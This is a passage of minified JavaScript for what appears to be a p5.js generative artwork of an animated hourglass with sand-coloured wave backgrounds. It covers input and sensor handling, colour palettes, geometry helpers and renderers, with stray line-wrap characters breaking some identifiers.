eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
!0,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!0,n._keyPressedFn(e),1==e.key.length&&n._keyTypedFn(e)});window.addEventListener("keyup",function(e){n.keyIsPressed=!1,n.key=e.key,n.keyCode=e.keyCode,s[n.keyCode]=!1,n._keyReleasedFn(e)});n.keyIsDown=function(e){return!!s[e]};function O(e){const t=n.canvas.getBoundingClientRect(),o=n.canvas.scrollWidth/n.width||1,a=n.canvas.scrollHeight/n.height||1;return{x:(e.clientX-t.left)/o,y:(e.clientY-t.top)/a,id:e.identifier}}function k(){return n._touchStarted.isPlaceHolder&M
&n._touchMoved.isPlaceHolder&&n._touchEnded.isPlaceHolder}n.canvas.ontouchstart=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButton=n.LEFT,n._mousePressedFn(e)||e.preventDefault()),n._touchStartedFn(e)||e.preventDefault()};n.canvas.ontouchmove=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!0,n.mouseButtoM
n=n.LEFT,n._mouseDraggedFn(e)||e.preventDefault()),n._touchMovedFn(e)||e.preventDefault()};n.canvas.ontouchend=n.canvas.ontouchcancel=function(e){n.touches=e.touches.map(O),k()&&(n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=n.touches[0].x,n.mouseY=n.touches[0].y,n.mouseIsPressed=!1,n._mouseReleasedFn(e)||e.preventDefault()),n._touchEndedFn(e)||e.preventDefault()};n.hasSensorPermission=!window.DeviceOrientationEvent&&!window.DeviceMotionEvent||!(DeviceOrientationEvent.requestPermission||DeviceMotionEvent.requestPeM
rmission);n.requestSensorPermissions=function(){DeviceOrientationEvent.requestPermission&&DeviceOrientationEvent.requestPermission().then(e=>{"granted"==e&&DeviceMotionEvent.requestPermission&&DeviceMotionEvent.requestPermission().then(e=>{"granted"==e&&(n.hasSensorPermission=!0)}).catch(alert)}).catch(alert)};window.ondeviceorientation=function(e){n.pRotationX=n.rotationX,n.pRotationY=n.rotationY,n.pRotationZ=n.rotationZ,n.pRelRotationX=n.relRotationX,n.pRelRotationY=n.relRotationY,n.pRelRotationZ=n.relRotationZ,nM
.rotationX=e.beta*(Math.PI/180),n.rotationY=e.gamma*(Math.PI/180),n.rotationZ=e.alpha*(Math.PI/180),n.relRotationX=[-n.rotationY,-n.rotationX,n.rotationY][1+~~(window.orientation/90)],n.relRotationY=[-n.rotationX,n.rotationY,n.rotationX][1+~~(window.orientation/90)],n.relRotationZ=n.rotationZ};window.ondevicemotion=function(e){if(n.pAccelerationX=n.accelerationX,n.pAccelerationY=n.accelerationY,n.pAccelerationZ=n.accelerationZ,!e.acceleration){let t=((e,t)=>[(e[0]*t[0]+e[1]*t[1]+e[2]*t[2]+e[3])/(e[12]*t[0]+e[13]*t[M
1]+e[14]*t[2]+e[15]),(e[4]*t[0]+e[5]*t[1]+e[6]*t[2]+e[7])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15]),(e[8]*t[0]+e[9]*t[1]+e[10]*t[2]+e[11])/(e[12]*t[0]+e[13]*t[1]+e[14]*t[2]+e[15])])(((e,t)=>[e[0]*t[0]+e[1]*t[4]+e[2]*t[8]+e[3]*t[12],e[0]*t[1]+e[1]*t[5]+e[2]*t[9]+e[3]*t[13],e[0]*t[2]+e[1]*t[6]+e[2]*t[10]+e[3]*t[14],e[0]*t[3]+e[1]*t[7]+e[2]*t[11]+e[3]*t[15],e[4]*t[0]+e[5]*t[4]+e[6]*t[8]+e[7]*t[12],e[4]*t[1]+e[5]*t[5]+e[6]*t[9]+e[7]*t[13],e[4]*t[2]+e[5]*t[6]+e[6]*t[10]+e[7]*t[14],e[4]*t[3]+e[5]*t[7]+e[6]*t[11]+e[7]*t[15M
],e[8]*t[0]+e[9]*t[4]+e[10]*t[8]+e[11]*t[12],e[8]*t[1]+e[9]*t[5]+e[10]*t[9]+e[11]*t[13],e[8]*t[2]+e[9]*t[6]+e[10]*t[10]+e[11]*t[14],e[8]*t[3]+e[9]*t[7]+e[10]*t[11]+e[11]*t[15],e[12]*t[0]+e[13]*t[4]+e[14]*t[8]+e[15]*t[12],e[12]*t[1]+e[13]*t[5]+e[14]*t[9]+e[15]*t[13],e[12]*t[2]+e[13]*t[6]+e[14]*t[10]+e[15]*t[14],e[12]*t[3]+e[13]*t[7]+e[14]*t[11]+e[15]*t[15]])((e=>[Math.cos(e),0,Math.sin(e),0,0,1,0,0,-Math.sin(e),0,Math.cos(e),0,0,0,0,1])(n.rotationY),(e=>[1,0,0,0,0,Math.cos(e),-Math.sin(e),0,0,Math.sin(e),Math.cos(e)M
,0,0,0,0,1])(n.rotationX)),[0,0,-9.80665]);n.accelerationX=e.accelerationIncludingGravity.x+t[0],n.accelerationY=e.accelerationIncludingGravity.y+t[1],n.accelerationZ=e.accelerationIncludingGravity.z-t[2]}};n.year=function(){return(new Date).getFullYear()};n.day=function(){return(new Date).getDay()};n.hour=function(){return(new Date).getHours()};n.minute=function(){return(new Date).getMinutes()};n.second=function(){return(new Date).getSeconds()};n.millis=function(){return window.performance.now()-c}}(e)}
or{static p;static SAND_COLOR_MODE=3;static getSandColorByIndex(e,t=0,i=30,s=50){e%=5;let a=[];var r,h,n;for(let e=0;e<5;e++){let t=e%5;1==Color.SAND_COLOR_MODE?a.push(o(t)):2==Color.SAND_COLOR_MODE?a.push(l(t)):3==Color.SAND_COLOR_MODE?a.push(d(t)):4==Color.SAND_COLOR_MODE?a.push(m(t)):5==Color.SAND_COLOR_MODE?a.push(p(t)):6==Color.SAND_COLOR_MODE?a.push(g(t)):7==Color.SAND_COLOR_MODE?a.push(c(t)):8==Color.SAND_COLOR_MODE?a.push(u(t)):9==Color.SAND_COLOR_MODE&&a.push(v(t))}return a[e];function o(e){return 0==e?(r=M
t+60,h=i+5,n=s+5):1==e?(r=t+30,h=i+5,n=s+9):2==e?(r=t,h=i,n=s):3==e?(r=t-30,h=i+5,n=s+9):4==e&&(r=t-60,h=i+5,n=s+5),r<0?r+=360:r>360&&(r-=360),chroma(r,h/100,n/100,"hsl")}function l(e){return r=t,0==e?(h=i,n=s+30):1==e?(h=i-30,n=s+8):2==e?(h=i,n=s):3==e?(h=i-30,n=s+30):4==e&&(h=i,n=s-20),h<10&&(h+=60),(0==e||3==e)&&n>100&&(n=s-50),chroma(r,h/100,n/100,"hsl")}function d(e){return 0==e?(r=t-120,h=i+10,n=s-30):1==e?(r=t+120,h=i-10,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t-120,h=i+10,n=s):4==e&&(r=t+120,h=i+10,n=s-30),r>360?r-M
=360:r<0&&(r+=360),h>100&&(h-=20),n>100&&(n-=30),chroma(r,h/100,n/100,"hsl")}function m(e){return 0==e?(r=t,h=i+10,n=s-30):1==e?(r=t,h=i-30,n=s+30):2==e?(r=t,h=i,n=s):3==e?(r=t-180,h=i+20,n=s-30):4==e&&(r=t-180,h=i,n=s),r<0&&(r+=360),chroma(r,h/100,n/100,"hsl")}function p(e){return 0==e?(r=t-150,h=i-10,n=s+30):1==e?(r=t-150,h=i-5,n=s):2==e?(r=t,h=i,n=s):3==e?(r=t+150,h=i+10,n=s+30):4==e&&(r=t+150,h=i+5,n=s),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n>100&&(n-=60),chroma(r,h/100,n/100,"hsl")}function g(e){return 0==M
e?(r=t+60,h=i-5):1==e?(r=t+150,h=i-10):2==e?(r=t,h=i):3==e?(r=t-150,h=i+10):4==e&&(r=t-60,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function c(e){return 0==e?(r=t,h=i+20):1==e?(r=t+90,h=i-10):2==e?(r=t,h=i):3==e?(r=t+180,h=i+10):4==e&&(r=t-90,h=i+5),r<0?r+=360:r>360&&(r-=360),h>100&&(h-=20),n=s,chroma(r,h/100,n/100,"hsl")}function u(e){return 0==e?(r=t+30,h=i+10,n=s+20):1==e?(r=t+30,h=i+40,n=s+40):2==e?(r=t,h=i,n=s):3==e?(r=t+160,h=i+25,n=s+5):4==e&&(r=t+150,h=i+10,n=s+20),r>3M
60&&(r-=360),(0==e||4==e)&&h>100?h-=20:1==e&&h>90?h-=80:3==e&&h>60&&(h-=50),1==e&&n>100?n-=80:(0==e||4==e)&&n>100&&(n-=40),chroma(r,h/100,n/100,"hsl")}function v(e){return r=t,h=i,0==e?n=s-25:1==e?n=s+30:2==e?n=s:3==e?n=s+5:4==e&&(n=s-10),n>100&&(n-=80),chroma(r,h/100,n/100,"hsl")}}static chromaToArray=e=>[e._rgb[0],e._rgb[1],e._rgb[2],255*e._rgb[3]];static setColorMode=e=>{this.SAND_COLOR_MODE=e}}class Geometry{static slicePolyByY(e,t){let i=[];for(let s=0;s<e.length;s++){let a=e[s],r=s?e[s-1]:e.at(-1),h=a.y>=t;h!M
=r.y>=t&&i.push(Geometry.interWithY(r,a,t)),h&&i.push(a)}return i}static getAreaBelowY(e,t){return Geometry.getPolyArea(Geometry.slicePolyByY(e,t))}static getYByAreaBelow(e,t){let[i,s,a,r]=Geometry.getBoundingBox(e,"COORD"),h=s,n=r;for(let i=0;i<30;++i){let i=(h+n)/2;Geometry.getAreaBelowY(e,i)>t?h=i:n=i}return n}static interWithY(e,t,i){let s=e.copy(),a=t.copy(),r=createVector(-1e9,i),h=createVector(1e9,i);return Geometry.intersection(s,a,r,h)}static getPolyArea(e){let t=0;for(let i=0;i<e.length;i++){let s=e[i],a=M
e[(i+1)%e.length],r=createVector(s.x,s.y),h=createVector(a.x,a.y);t+=r.cross(h).z}return t=abs(t)/2,t}static getBoundingBox(e,t="SIZE"){let i=e[0].x,s=e[0].x,a=e[0].y,r=e[0].y;for(let t=0;t<e.length;t++)isNaN(e[t].y)||(a=min(a,e[t].y),r=max(r,e[t].y)),isNaN(e[t].x)||(i=min(i,e[t].x),s=max(s,e[t].x));return"SIZE"==t?[i,a,s-i,r-a]:"COORD"==t?[i,a,s,r]:[]}static intersection(e,t,i,s){let a=createVector(t.x-e.x,t.y-e.y),r=createVector(s.x-i.x,s.y-i.y),h=createVector(i.x-e.x,i.y-e.y),n=(a.copy().rotate(PI/2),r.copy().roM
tate(PI/2)),o=h.dot(n)/a.dot(n),l=a.mult(o);return createVector(e.x+l.x,e.y+l.y)}}class GraphicUtils{static applyMask(e,t){e.push(),e.noStroke(),e.blendMode(REMOVE),e.fill(255,255,255,255),e.beginShape(),e.vertex(0,0),e.vertex(0,e.height),e.vertex(e.width,e.height),e.vertex(e.width,0),e.beginContour();for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.endContour(),e.endShape(e.CLOSE),e.blendMode(BLEND),e.pop()}}class Hourglass{static TICK_INTERVAL=60;static ROTATE_INTERVAL=10/3;constructor(e,t){this.evolvePeriod=M
e.evolvePeriod,t.registerIterationChangeEvent(this.onIterationChange.bind(this));let i=t.getCurrentIteration();this.onIterationChange(i),this.update(new Date)}onIterationChange(e){this.flipped=e%2==1}getState(){return{top:this.top,rotation:this.rotation,flipped:this.flipped,timeSinceRotation:this.timeSinceRotation}}update(e){let t,i=0;if(traits.evolvePeriod==EvolvePeriod.HOURLY)t=3600,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.DAILY)t=86400,i+=60*e.geM
tHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3;else if(traits.evolvePeriod==EvolvePeriod.MONTHLY){let s=e.getFullYear(),a=e.getMonth()+1;t=24*new Date(s,a,0).getDate()*60*60,i+=24*(e.getDate()-1)*60*60,i+=60*e.getHours()*60,i+=60*e.getMinutes(),i+=e.getSeconds(),i+=e.getMilliseconds()/1e3}this.flipped?this.top=1-min(1,i/t):this.top=min(1,i/t),this.timeSinceRotation=max(0,i-Hourglass.ROTATE_INTERVAL);let s=Math.min(i,Hourglass.ROTATE_INTERVAL);this.rotation=this.flipped?PI:0,this.rotatM
ion+=s/Hourglass.ROTATE_INTERVAL*PI}}function getRandomInt(e,t){return floor(random(e,t))}function getRandomItem(e){let t=0;for(const i of e)t+=i[1];let i=random(t),s=0;for(const t of e)if(s+=t[1],i<s)return t[0];return null}function shuffle(e){for(let t=1;t<e.length;++t){let i=getRandomInt(0,t),s=e[t];e[t]=e[i],e[i]=s}}class PostProcessing{constructor(e,t,i){this.wCanvas=e,this.hCanvas=t,this.graphic=createGraphics(this.wCanvas,this.hCanvas),this.updateFilter(1)}updateFilter(e,t,i){this.graphic.fill(255,255,255,25M
5),this.graphic.blendMode(REMOVE),this.graphic.rect(0,0,this.wCanvas,this.hCanvas),this.graphic.blendMode(BLEND);let s,a=this.wCanvas/2,r=this.hCanvas/2,h=2*sqrt(a*a+r*r);s=a>r?sqrt(1-Math.pow(r/a,2)):sqrt(1-Math.pow(a/r,2));let n,o;if(1!=abs(e)){let t,i;3==abs(e)?(t=6,i=.6):10==abs(e)?(t=4,i=.5):60==abs(e)?(t=3,i=.4):3600==abs(e)&&(t=2,i=.3),o=i-.1,n=map(sin(Date.now()/1e3/t*TAU),-1,1,i-.1,i+.1)}else i?(o=1,n=1):(o=.75,n=.75);this.graphic.push(),this.graphic.ellipseMode(RADIUS),this.graphic.translate(a,r);for(let M
e=39;e>=0;e--){let t=(e+1)/40;if(1==o||map(t,o,1,0,1.2)<=0)break;let i=max(map(t,n,1,0,1.2),0),s=color(0,0,0,255*i);this.graphic.fill(s),this.graphic.noStroke(),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),e>0&&(t=e/40,this.graphic.fill(255,255,255,255),this.graphic.blendMode(REMOVE),this.graphic.ellipse(0,0,h*a/(a+r)*t,h*r/(a+r)*t),this.graphic.blendMode(BLEND))}this.graphic.pop()}applyToMainCanvas(){image(this.graphic,0,0)}}class BackgroundRenderer{constructor(e,t,i,s,a,r){this.wCanvas=e.width,this.hCanvas=eM
.height,this.maxR=min(this.wCanvas,this.hCanvas)/1024,this.dx,this.yvalues,this.xvalues,this.xspacing1=[],this.thickness1=[],this.theta1=[],this.velocity1=[],this.sz1=[],this.xspacing2=[],this.thickness2=[],this.theta2=[],this.velocity2=[],this.sz2=[],this.xspacing3=[],this.thickness3=[],this.theta3=[],this.velocity3=[],this.sz3=[],this.xspacing4=[],this.thickness4=[],this.theta4=[],this.velocity4=[],this.sz4=[],this.c=[],this.num_waves=30,this._h=t,this._s=i,this._l=s,this.patternOrder=a.patternOrder,this.diagonalM
=sqrt(Math.pow(width,2)+Math.pow(height,2));let h=createVector(width,height).heading(),n=abs(PI/4-h);this.ty=this.diagonal/2*cos(n),this.waveSpeed=a.waveSpeed,this.wavePeriod=a.wavePeriod,this.waveHeight=a.waveHeight,this.evolvePeriod=a.evolvePeriod,this.evolvePeriod==EvolvePeriod.DAILY?this.num_lines=7:(this.evolvePeriod==EvolvePeriod.HOURLY||this.evolvePeriod==EvolvePeriod.MONTHLY)&&(this.num_lines=12),this.waveHeight==WaveHeight.SHORT?this.amplitude=getRandomInt(20,30):this.waveHeight==WaveHeight.MEDIUM?this.ampM
litude=getRandomInt(30,40):this.waveHeight==WaveHeight.TALL&&(this.amplitude=getRandomInt(40,50)),this.wavePeriod==WavePeriod.SHORT?this.period=getRandomInt(300,351):this.wavePeriod==WavePeriod.MEDIUM?this.period=getRandomInt(425,476):this.wavePeriod==WavePeriod.LONG&&(this.period=getRandomInt(600,651)),this.waveSpeed==WaveSpeed.SLOW?(this.min_speed=.003,this.max_speed=.005):this.waveSpeed==WaveSpeed.MEDIUM?(this.min_speed=.008,this.max_speed=.01):this.waveSpeed==WaveSpeed.FAST&&(this.min_speed=.015,this.max_speed=M
.018),this.thetaList=[0,1/4*PI,.5*PI,3/4*PI,PI],this.setupStaticWave(),this.setupDynamicWave(),r.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=r.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){randomSeed(100*e+1),shuffle(this.xspacing1),shuffle(this.thickness1),shuffle(this.theta1),shuffle(this.xspacing1),shuffle(this.velocity1),shuffle(this.xspacing2),shuffle(this.thickness2),shuffle(this.theta2),shuffle(this.xspacing2),shuffle(this.velocity2),shuffle(this.xspacing3),shM
uffle(this.thickness3),shuffle(this.theta3),shuffle(this.xspacing3),shuffle(this.velocity3),shuffle(this.xspacing4),shuffle(this.thickness4),shuffle(this.theta4),shuffle(this.xspacing4),shuffle(this.velocity4)}setupStaticWave(){for(let e=0;e<this.num_waves;e++){this.xspacing1.push(getRandomInt(5,50)),this.thickness1.push(getRandomInt(50,200)),this.theta1.push({value:random(this.thetaList)}),this.velocity1.push({value:random(this.min_speed,this.max_speed)}),this.sz1.push(random(.5,3)),this.xspacing2.push(getRandomInM
t(5,50)),this.thickness2.push(getRandomInt(50,200)),this.theta2.push({value:random(this.thetaList)}),this.velocity2.push({value:random(this.min_speed,this.max_speed)}),this.sz2.push(random(.5,3)),this.xspacing3.push(getRandomInt(5,50)),this.thickness3.push(getRandomInt(50,200)),this.theta3.push({value:random(this.thetaList)}),this.velocity3.push({value:random(this.min_speed,this.max_speed)}),this.sz3.push(random(.5,3)),this.xspacing4.push(getRandomInt(5,50)),this.thickness4.push(getRandomInt(50,200)),this.theta4.puM
sh({value:random(this.thetaList)}),this.velocity4.push({value:random(this.min_speed,this.max_speed)}),this.sz4.push(random(.5,3));let t=e%5;this.c.push(Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25))}}setupDynamicWave(){this.dynamicWave={h:random(this.hCanvas/3),xspacing:getRandomInt(5,20),thickness:getRandomInt(100,200),theta:{value:random(this.thetaList)},velocity:{value:random(this.min_speed,this.max_speed)},sz:random(1,3),num_lines:0},1==this.patternOrder[0]?this.dynamicWave.h=random(200,heM
ight-200):2==this.patternOrder[0]?this.dynamicWave.h=random(200,width-200):(3==this.patternOrder[0]||4==this.patternOrder[0])&&(this.dynamicWave.h=random(200,2*this.ty-200))}update(e){this.time=e}drawHorWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(width/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),tM
+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s];r<-2||r>height+2||e.square(a,r,n*this.maxR)}}}drawVerWave(e,t,i,s,a,r,h,n,o){this.dx=TWO_PI/this.period*i,this.xvalues=new Array(floor(height/i+20));let l=this.time.getTime()/(1e3/60),d=r.value+h.value*l/5+t;for(let e=0;e<this.xvalues.length;e++)this.xvalues[e]=sin(d)*this.amplitude,d+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.xvalues.length;s++){let a=t+this.xvalues[s],r=s*iM
;a<-2||a>width+2||e.square(a,r,n*this.maxR)}}}drawDiaWave(e,t,i,s,a,r,h,n,o,l){let d=cos(-l),m=sin(-l);this.dx=TWO_PI/this.period*i,this.yvalues=new Array(floor(this.diagonal/i));let p=this.time.getTime()/(1e3/60),g=r.value+h.value*p/5+t;for(let e=0;e<this.yvalues.length;e++)this.yvalues[e]=sin(g)*this.amplitude,g+=this.dx;for(let r=0;r<a;r++){e.noStroke(),e.fill(color(...Color.chromaToArray(o))),t+=s/a;for(let s=0;s<this.yvalues.length;s++){let a=s*i,r=t+this.yvalues[s],h=n*this.maxR,o=a-this.diagonal/2,l=r-this.tM
y,p=o*d+l*m+width/2,g=-o*m+l*d+height/2;p<-2||p>width+2||g<-2||g>height+2||e.square(a,r,h)}}}drawHorizontal(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawHorWave(e,t,this.xspacing1[i]*width/1024,this.thickness1[i]*height/1024,this.num_lines,this.theta1[i],this.velocity1[i],this.sz1[i],this.c[i]),t+=(height+50)/this.num_waves}drawVertical(e){let t=-50;for(let i=0;i<this.theta1.length;i++)this.drawVerWave(e,t,this.xspacing2[i]*height/1024,this.thickness2[i]*width/1024,this.num_lines,this.theta2[i],this.vM
elocity2[i],this.sz2[i],this.c[i]),t+=(width+50)/this.num_waves}drawLeft(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing3[i]*this.maxR,this.thickness3[i]*this.maxR,this.num_lines,this.theta3[i],this.velocity3[i],this.sz3[i],this.c[i],PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawRight(e){let t=0;for(let i=0;i<this.theta1.length;i++)e.push(),e.translate(width/2,height/2),e.rotate(M
3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,t,this.xspacing4[i]*this.maxR,this.thickness4[i]*this.maxR,this.num_lines,this.theta4[i],this.velocity4[i],this.sz4[i],this.c[i],3*PI/4),e.pop(),t+=(2*this.ty-100)/(this.num_waves-1)}drawPattern(e,t){1==t?this.drawHorizontal(e):2==t?this.drawVertical(e):3==t?this.drawLeft(e):this.drawRight(e)}draw(e,t,i,s,a){this._h=s.h,this._s=s.s,this._l=s.l,e.background(0);let r=t.getHours()>=6&&t.getHours()<18?.2:.05,h=Color.getSandColorByIndex(4,this._h,this._s,M
this._l).luminance(r).alpha(.5);if(e.background(color(...Color.chromaToArray(h))),!a)return;this.evolvePeriod==EvolvePeriod.HOURLY?this.dynamicWave.num_lines=(t.getHours()+11)%12+1:this.evolvePeriod==EvolvePeriod.DAILY?this.dynamicWave.num_lines=t.getDay()+1:this.evolvePeriod==EvolvePeriod.MONTHLY&&(this.dynamicWave.num_lines=t.getMonth()+1);for(let e=0;e<this.num_waves;e++){let t=e%5;this.c[e]=Color.getSandColorByIndex(t,this._h,this._s,this._l).luminance(.25)}1==i?(3==this.patternOrder[0]||4==this.patternOrder[0]M
?this.num_waves=30:this.num_waves=20,this.drawPattern(e,this.patternOrder[0])):2==i?(this.patternOrder[0]+this.patternOrder[1]==3?this.num_waves=10:this.patternOrder[0]+this.patternOrder[1]==7?this.num_waves=20:this.num_waves=15,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1])):3==i?(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2])):(this.num_waves=10,this.drawPattern(e,this.patternOrder[0]),M
this.drawPattern(e,this.patternOrder[1]),this.drawPattern(e,this.patternOrder[2]),this.drawPattern(e,this.patternOrder[3]));let{h:n,xspacing:o,thickness:l,num_lines:d,theta:m,velocity:p,sz:g}=this.dynamicWave,c=Color.getSandColorByIndex(0,this._h,this._s,this._l).luminance(.5);1==this.patternOrder[0]?this.drawHorWave(e,n,o*width/1024,l*height/1024,d,m,p,g,c):2==this.patternOrder[0]?this.drawVerWave(e,n,o*height/1024,l*width/1024,d,m,p,g,c):3==this.patternOrder[0]?(e.push(),e.translate(width/2,height/2),e.rotate(PI/M
4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,PI/4),e.pop()):4==this.patternOrder[0]&&(e.push(),e.translate(width/2,height/2),e.rotate(3*PI/4),e.translate(-this.diagonal/2,-this.ty),this.drawDiaWave(e,n,o*this.maxR,l*this.maxR,d,m,p,g,c,3*PI/4),e.pop())}}class GrainRenderer{static texture;static deltaX;static deltaY;static maxDelta=100;static wCanvas;static hCanvas;static setup(e,t){GrainRenderer.wCanvas=e+GrainRenderer.maxDelta,GrainRenderer.hCanvas=t+GrainRendereM
r.maxDelta,GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0),GrainRenderer.texture=createImage(GrainRenderer.wCanvas,GrainRenderer.hCanvas),GrainRenderer.texture.loadPixels();let i=GrainRenderer.texture.pixelDensity();for(let e=0;e<GrainRenderer.wCanvas;e++)for(let t=0;t<GrainRenderer.hCanvas;t++){let s=216.75,a=255,r=random(s,a),h=random(s,a),n=random(s,a);for(let s=0;s<i;s++)for(let a=0;a<i;a++){let o=4*((t*i+a)*GrainRenderer.wCanvas*i+(e*i+s));GrainRendM
erer.texture.pixels[o]=r,GrainRenderer.texture.pixels[o+1]=h,GrainRenderer.texture.pixels[o+2]=n,GrainRenderer.texture.pixels[o+3]=255}}GrainRenderer.texture.updatePixels()}static applyGrain(e,t){let i=!!t&&{atFrame:1};e.textureOverlay(GrainRenderer.texture,{mode:BURN,animate:i})}static applyGrainToMainCanvas(e){blendMode(BURN),e&&(GrainRenderer.deltaX=random(-GrainRenderer.maxDelta,0),GrainRenderer.deltaY=random(-GrainRenderer.maxDelta,0)),image(GrainRenderer.texture,GrainRenderer.deltaX,GrainRenderer.deltaY)}}conM
st HourglassSize={SMALL:"SMALL",MEDIUM:"MEDIUM",LARGE:"LARGE"};class HourglassRenderer{constructor(e,t,i){this.nLayer=10,this.wCanvas=e.width,this.hCanvas=e.height,this.hourglassSize=t.hourglassSize,this.poly=t.poly,this.evolvePeriod=t.evolvePeriod,this.xc=this.wCanvas/2,this.yc=this.hCanvas/2,this.x1=this.xc+random(100,300),this.y1=this.yc+random(100,300),this.x2=this.xc+random(100,300),this.y2=this.yc+random(100,300),this.x1m=this.wCanvas-this.x1,this.y1m=this.y1,this.maxR=min(this.wCanvas,this.hCanvas)/2,1==thisM
.poly?this.mainRadius=.1*this.maxR*4:this.mainRadius=.1*this.maxR*getRandomInt(1,6),i.registerIterationChangeEvent(this.onIterationChange.bind(this));let s=i.getCurrentIteration();this.onIterationChange(s),this.topline=this.polygon(this.xc,this.yc,this.poly,PI),this.bottomline=this.polygon(this.xc,this.yc,this.poly,0),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.excitement=.15*max(this.sandRects[0][2],this.sandRects[0][3]),this.dx=[],this.dy=[];for(let e=0;e<2M
*this.nLayer;++e)this.dx[e]=random(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement);this.curSecond=(new Date).getSeconds(),this.rotateAngle=0}onIterationChange(e){randomSeed(100*e+2),this.startAngle=this.getStartAngle(),this.radiuses=this.getRadiuses()}getIteration(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(M
e.getFullYear()-1970)+e.getMonth()),t}getStartAngle(){let e=getRandomInt(1,6);return PI/(2.5+.5*e)}getRadiuses(){let e,t;this.hourglassSize==HourglassSize.MEDIUM?(e=.45*this.maxR,t=.55*this.maxR):this.hourglassSize==HourglassSize.LARGE&&(e=.6*this.maxR,t=.7*this.maxR);let i=[];for(let s=0;s<this.poly;s++){let a;a=0==s?e:random(e,t),i.push(a)}return i}update(e,t){if(e.getSeconds()!=this.curSecond){this.curSecond=e.getSeconds(),this.secondTicked=!0,this.rotateAngle+=PI/30;for(let e=0;e<2*this.nLayer;++e)this.dx[e]=raM
ndom(-this.excitement,this.excitement),this.dy[e]=random(-this.excitement,this.excitement)}else this.secondTicked=!1;this.topline=this.polygon(this.xc,this.yc,this.poly,PI+t),this.bottomline=this.polygon(this.xc,this.yc,this.poly,t),this.sandRects=[Geometry.getBoundingBox(this.topline),Geometry.getBoundingBox(this.bottomline)],this.time=e,this.rotation=t}draw(e,t,i){let s=i.luminance(.3);e.fill(255,255,255,255),e.blendMode(REMOVE),e.rect(0,0,this.wCanvas,this.hCanvas),e.blendMode(BLEND),0==t?this.drawShadowNormal(eM
,s,this.time):1==t&&this.drawShadowCircle(e,s),e.fill(255,255,255,255),e.blendMode(REMOVE),this.drawShape(e,this.topline),this.drawShape(e,this.bottomline),e.blendMode(BLEND)}drawShadowNormal(e,t,i){let s=floor(i.getMinutes()/10),a=i.getMinutes()%10;e.push(),e.noFill(),e.strokeWeight(.005*this.maxR);for(let i=0;i<s;i++){let a=map(i,s,0,.2,.5),r=color(...Color.chromaToArray(t.alpha(a)));e.stroke(r),this.getAndDrawPolygon(e,this.xc+this.dx[2*i],this.yc+this.dy[2*i],this.poly,PI)}for(let i=0;i<a;i++){let s=map(i,a,0,.M
